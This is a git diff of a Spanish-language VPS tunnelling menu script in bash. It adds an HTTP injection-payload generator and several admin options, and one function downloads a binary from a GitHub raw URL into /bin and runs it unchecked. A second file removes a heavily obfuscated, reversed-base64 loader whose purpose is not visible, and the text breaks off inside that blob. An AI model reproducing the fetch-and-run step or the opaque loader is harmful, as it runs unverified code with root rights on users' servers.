+echo -e " 2-CONNECT"
+echo -e " 3-PUT"
+echo -e " 4-OPTIONS"
+echo -e " 5-DELETE"
+echo -e " 6-HEAD"
+echo -e " 7-TRACE"
+echo -e " 8-PROPATCH"
+echo -e " 9-PATCH"
+msg -bar
+read -p " => " valor3
+case $valor3 in
+1)req="GET";;
+2)req="CONNECT";;
+3)req="PUT";;
+4)req="OPTIONS";;
+5)req="DELETE";;
+6)req="HEAD";;
+7)req="TRACE";;
+8)req="PROPATCH";;
+9)req="PATCH";;
+*)req="GET";;
+esac
+msg -bar
+echo -e "${cor[5]} POR ULTIMO"
+echo -e "${cor[5]} METODO DE INJECCCION ${cor[3]}"
+echo -e " 1-realData"
+echo -e " 2-netData"
+echo -e " 3-raw"
+msg -bar
+read -p " => " valor4
+case $valor4 in
+1)in="realData";;
+2)in="netData";;
+3)in="raw";;
+*)in="netData";;
+esac
+msg -bar
+name=$(echo $valor1 | awk -F "/" '{print $2'})
+if [ "$name" = "" ]; then
+name=$(echo $valor1 | awk -F "/" '{print $1'})
+fi
+esquelet="/etc/scpdk1/payloads"
+sed -s "s;realData;abc;g" $esquelet > $HOME/$name.txt
+sed -i "s;netData;abc;g" $HOME/$name.txt
+sed -i "s;raw;abc;g" $HOME/$name.txt
+sed -i "s;abc;$in;g" $HOME/$name.txt
+sed -i "s;get;$req;g" $HOME/$name.txt
+sed -i "s;mhost;$valor1;g" $HOME/$name.txt
+sed -i "s;mip;$valor2;g" $HOME/$name.txt
+if [ "$(cat $HOME/$name.txt | egrep -o "$valor1")" = "" ]; then
+echo -e ""
+echo -e "${cor[3]} ALGO ESTA \033[1;36mMAL !!"
+rm $HOME/$name.txt
+return
+fi
+echo -e "${cor[3]} GENERACION DE PAYLOAD EXITOSA !!"
+echo -e "${cor[3]} DIRECTORIO \033[1;31m$HOME/$name.txt"
+return
+}
+
+fun_bar () {
+comando="$1"
+ (
+[[ -e $HOME/fim ]] && rm $HOME/fim
+$comando -y > /dev/null 2>&1
+touch $HOME/fim
+ ) & > /dev/null
+echo -ne "\033[1;33m ["
+while true; do
+ for((i=0; i<=10; i++)); do
+ echo -ne "\033[1;31m#"
+ sleep 0.3s
+ done
+ [[ -e $HOME/fim ]] && {
+ rm $HOME/fim
+ break
+ }
+ echo
+ echo -ne "\033[1;33m ["
+done
+echo -e "\033[1;33m]\033[1;31m -\033[1;32m 100%\033[1;37m"
+}
+
+t_master () {
+clear
+[[ ! -e /bin/toolmaster ]] && wget -O /bin/toolmaster https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Complementos/toolmaster >/dev/null 2>&1&&chmod +rwx /bin/toolmaster
+toolmaster
+}
+
+paybrute () {
+chmod +x ./paysnd.sh
+./paysnd.sh
+}
+
+function_17 () {
+echo -e " ESTAS SEGURO DE REINICIAR TU SERVIDOR VPS"
+read -p " [S/N]: " -e -i n sshsn
+[[ "$sshsn" = @(s|S|y|Y) ]] && {
+msg -bar
+echo -e "\033[1;36m EJECUTANDO REINICIO"
+sleep 3s
+msg -bar
+echo -e "\033[1;36m OK"
+sleep 1s
+sudo reboot
+}
+}
+
+############################
+while :
+do
+start_menu
+selection=$(selection_fun 19)
+case ${selection} in
+0)
+break
+;;
+1)
+block_torrent
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+;;
+2)
+fix_vultr
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+;;
+3)
+badUDP
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+;;
+4)
+tcp_BBR
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+;;
+5)
+fail_ban
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+;;
+6)
+function_10
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+;;
+7)
+testing_test
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+;;
+8)
+online_url
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+;;
+9)
+criar_pay
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+;;
+10)
+msg -bar
+echo -ne "\033[1;33m HOST: \033[1;37m"; read hostcaptura
+echo -ne "\033[1;33m LIMITE DE CAPTURA: \033[1;37m"; read limitecaptura
+chmod 777 ./ultrahost
+./ultrahost "${hostcaptura}" "${limitecaptura}"
+read -p " ¡Enter, para volver!"
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+;;
+11)
+t_master
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+;;
+12)
+function_17
+echo -ne "${cor[5]}"
+read -p " ¡Enter, para volver!"
+;;
+esac
+done
diff --git a/Lista/menu b/Lista/menu
index c8ae6cb..3bdd01e 100755
--- a/Lista/menu
+++ b/Lista/menu
@@ -1,2 +1,892 @@
#!/bin/bash
-lIpqRKyWHuFUOiAcZQUMQHlzyOOpyFcOSyUlqNjMGjQimiwiidUdWYPgtIevImhFLgMGsazszepPZUSJXlLVcOUYpJcJDrWuvAoz="vxlYVIEaYxOPyvgGWycsfRRSRHYzFXhGcNGzctmBATdtDbeiwBmYRtDoijzOTVlaUXAPdsoRXWFrhUvLHgmDdjxNDPIhynJTzyMX";iQsDAOPrDOigGRZkdtlueRglaehgyqlbMiZNNdYACQqvnjoiYoifwsjafScOYVhVUktHzydZkVPvoKwfUapteNjcSMqOkDRtIPPH="zTDJHAGdwNqJQMQFKiunmAZLxzeDSpPDjCpvKVPEygqsSKmrRfdnATZEzWsDdJPCDXQCkXyAmtXVfEPBbCiTjDLodAeQMmYAWgVf";vzXfGbvFjUMKlYorLcgHpQWbBmahgYujcXPsWIKaQQyYTrgZPQInxGlfnoaLOdQoUjmLDdounFpeztggHtHBVJZReKPKLwbcUPLg="ch";MycMZwhNnEENUfinQiPYqwzGBBGRKwjTJLrrraZHOnhdvnfDCEKRPFTJEHdNYJzTrNCdkPdEZIMPjrPPpkePSFnzYfgnOdsoGJFr="4";tjtOFRRxxatJMFvxPFDXHdeufMCqpqrWAPlLHWPPbcjSWVhgyHABSsqlEqKxiVahXUSGBiDvcQISHjGEnWRzHXXPlKvddWHwsScB="";IhmUPQLHymMgLLOkGvZxFUDiuGQpHiUkIMLZaffxctWFtSvTsFePDXzkCcRUnrJWtxQuDHuJMuLesOGglZWKKaNaNzkbbrVAUusp="nOiUYkXhuyNTEZHrdPlTndYhAYaVEIbnmKHZNyvjttPJJAvymEEZuFsMFtLYGaJTJLvlGdXhWFupKFAOboEKDcYVZXgsTAGKyWhS";dBZQaUlsCBWFlNmMwyDsINxczHQYWaGkiyUWePrEDwEULStCxbdQdTTSzISyOubjkJClRGarZfaLRzIkpyVuWQssazEKiHPCQyAf=" =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